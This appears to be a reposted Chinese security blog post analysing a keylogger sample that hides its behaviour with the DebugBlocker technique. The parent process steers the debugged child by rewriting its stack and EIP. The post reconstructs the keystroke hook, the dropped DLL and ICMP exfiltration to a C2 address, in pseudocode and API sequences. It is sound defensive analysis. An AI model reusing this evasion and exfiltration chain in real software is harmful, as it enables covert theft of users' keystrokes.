DebugBlocker技术 -- 一个有意思的对抗性样本分析
近期在分析样本时发现一个比较有意思的debugblocker样本,分享一下。
平淡无奇
一波静态分析定位到关键函数 sub_402970,
看到这里以为这是一个简单的反调试,直接分析sub_402A50。主要是动态获取需要的api地址(这里还有一个IsDebuggerPresent的反调试)
调试直接运行到获取函数的过程结束后,就可以看到我们真正要分析的代码了,注意到通过debug blocker的方式启动了子进程。
Debug Blocker
这个技术其实就是利用了“一个进程在同一时间内,只能被另外的某一个进程调试”这一点,在创建子进程时,指定dwCreationFlags为调试的flag,这样创建后的子进程无法被其他调试器附加调试。
这样,安全研究人员在分析子进程执行恶意行为的时候就比较麻烦了。一般简单的实现只是在子进程执行时进入不同的分支,进入执行恶意代码的逻辑,如下面
进程检测到自己被调试(说明现在是子进程在运行),执行不同的恶意代码。虽然在一定程度上提高了分析难度(比如这里可以用一些加密、混淆手段)防止静态分析,但是其实可以通过patch实现不起子进程也能执行恶意代码的目的,实现调试,所以难度不大。
进阶利用
这个case可以看到它在子进程执行时并没有进入什么恶意行为执行流程,只是设了一个eax值,执行了__debugbreak。这就是debugblocker手段后的另一种复杂的实现:通过调试消息控制子进程的执行上下文,执行指定的代码。下面我们一步步拆解分析。父进程在创建完子进程后,进入循环,通过WaitForDebugEvent、ContinueDebugEvent 接收处理子进程运行过程产生的调试信息(主要关注EXCEPTION_DEBUG_EVENT消息)
当收到EXCEPTION_DEBUG_EVENT消息(子进程触发了异常信息),此时调试信息DEBUG_EVENT.u 指向EXCEPTION_DEBUG_INFO结构,判断ExceptionRecord.ExceptionCode是不是EXCEPTION_BREAKPOINT(0x80000003L)即此时子进程触发了断点异常(__debugbreak)。之后获取子进程线程Context上下文信息,确定eip(触发异常的地址)是来自样本文件本身模块中(避免其他系统dll触发的)
然后根据当前子进程的eax值分发接下来要执行的动作。前面提到过,子进程触发异常前给eax的赋值是0x66124A
简化描述下就是对子进程的Context做如下改动,再ContinueDebugEvent继续子进程执行。
[Context.Esp-0x8] = sub_404070;
[Context.Esp-0x4] = Context.Eip;// __debugbreak
Context.Esp = Context.Esp - 0x8;
Context.Eip = sub_4029A0;
这里的改动实际效果就是修改了子进程当前的栈和EIP
Eip ==> sub_4029A0
[esp] ==> sub_404070
[esp+0x4] ==> ExceptionAddr_next_instruction
熟悉汇编和调用约定的话很快能看出来这其实是在构造了一个函数入口第一条指令位置时的栈状态, 强制子进程执行sub_4029A0函数,同时指定了该函数的返回地址sub_404070,第一个参数是__debugbreak。sub_4029A0是一个空函数,实际会执行到sub_404070。
抽丝剥茧
前面分析到子进程会执行sub_404070,静态分析这个函数会有很多xor解密,“其实没啥卵用”,只是藏了很多的__debugbreak(),先后触发时的eax值
0x764BAF;
0x7ABFCF;
0x63BAFF;
0x1010;
0x663284;
0xFAB444;
子进程陆续触发EXCEPTION_DEBUG_INFO
异常,交由父进程处理(有点虚拟机的意思) 后续的消息基本都是由下面的函数完成
简化描述下这个函数每次处理的作用
Context.Esp = Context.Esp - 0x4;
[Context.Esp] = ExceptionAddr_next_instruction;
Context.Eip = func_addr;
其实就是指定子进程下面执行的函数地址,并指定函数的返回值(异常来源返回地址) 例如0x764BAF消息对应的是调用函数GetEnvironmentVariableA,这时候我就纳闷了,参数呢?这里没指定参数啊,转念突然想到我上面说的没啥卵用的地方,不就是在给异常现场设置参数吗, GetEnvironmentVariableA的参数就是
依此类推,得到子进程连续执行的代码如下
0x764BAF ==> GetEnvironmentVariableA(temp, varPtr, 0x104);
0x7ABFCF ==> hFile = CreateFileA("%Temp%\System.dll");
0x63BAFF ==> WriteFileA(hFile, ...)
0x1010 ==> CloseHandle(hFile)
0x663284 ==> SetWindowsHookExW(WH_GETMESSAGE, sub_403B40, 0, CurrentThreadId);
0xFAB444 ==> LoadLibraryA("%Temp%\System.dll");
这里在%TEMP%目录释放的system.dll前0x1000字节被XOR加密的,可以解密出来,比较简单
子进程SetWindowsHookExW在hook WH_GETMESSAGE消息时,指定回调函数sub_403B40
在回调处理函数中,如果监控到键盘事件,解析键盘事件初始化source变量,给几个对照例子
键盘事件 Source
0-9 (没有shift) 0 - 0
1 - 1
2 - 2
...
0-9 (有shift) 0 - C4 5C 41 00
1 - C8 5C 41 00
...
a-z (shift || caps_lock) a - a A-A
....
...
可以看到其实就是一个键盘监听,恢复键盘消息传给了Source字段。当Source字段长度为6时,触发新的逻辑,这里我一时没反应过来,因为他每次都是不到6字节,后来看到Destination变量每次没有格式化,都是strcat_s追加,明白了他是每收到了6个字节就触发新的逻辑。
在sub_403AB0这里又继续上面的触发__debugbreak的逻辑,先后触发的顺序
0x47ACFF; ==> GetKeyState
0x47ACFF; ==> GetKeyState
0x47ACFF; ==> GetKeyState
0x63194B; ==> handle = IcmpCreateFile()
0x663FFA; ==> IcmpSendEcho(handle, 0x1E9A8C0, keydata, size, 0, ptr, 28, 3000)
0xFABC63; ==> IcmpCloseHandle(handle)
0x73ABCF; ==> CallNextHookEx(下一个)
0x57624; ==> UnhookWindowsHookEx
在icmp通信这一段里
先执行system.dll.load导出函数,system.dll在DllMain中解密shellcode,导出函数load执行shellcode
内存dump出来发现DllMain解密出来的shellcode是一段加密算法,用于加密load的参数,也就是前面提到的监听到的键盘序列数据。之后再调用IcmpSendEcho,也就是说键盘事件被system.load加密处理后,再通过IcmpSendEcho回传C2的,这里的C2是 192.168.233.1
(应该还是在调试状态没有真正使用)。
总结
到目前为止才算搞明白了这个样本其实就是一个键盘窃听软件,使用了DebugBlocker技术提高分析的难度。这其中通过子进程debug break配合父进程SetThreadContext修改栈+EIP无限构造子进程的执行序列,巧妙地隐藏了子进程的恶意行为。
IOC
-
6ddc62859c20aec71ccf25ea7e36fa5e
安全的矛与盾
如果您对沙箱开发、二进制检测、edr规避感兴趣,欢迎加入我们的交流群进行交流。
原文始发于微信公众号(安全的矛与盾):DebugBlocker技术 -- 一个有意思的对抗性样本分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论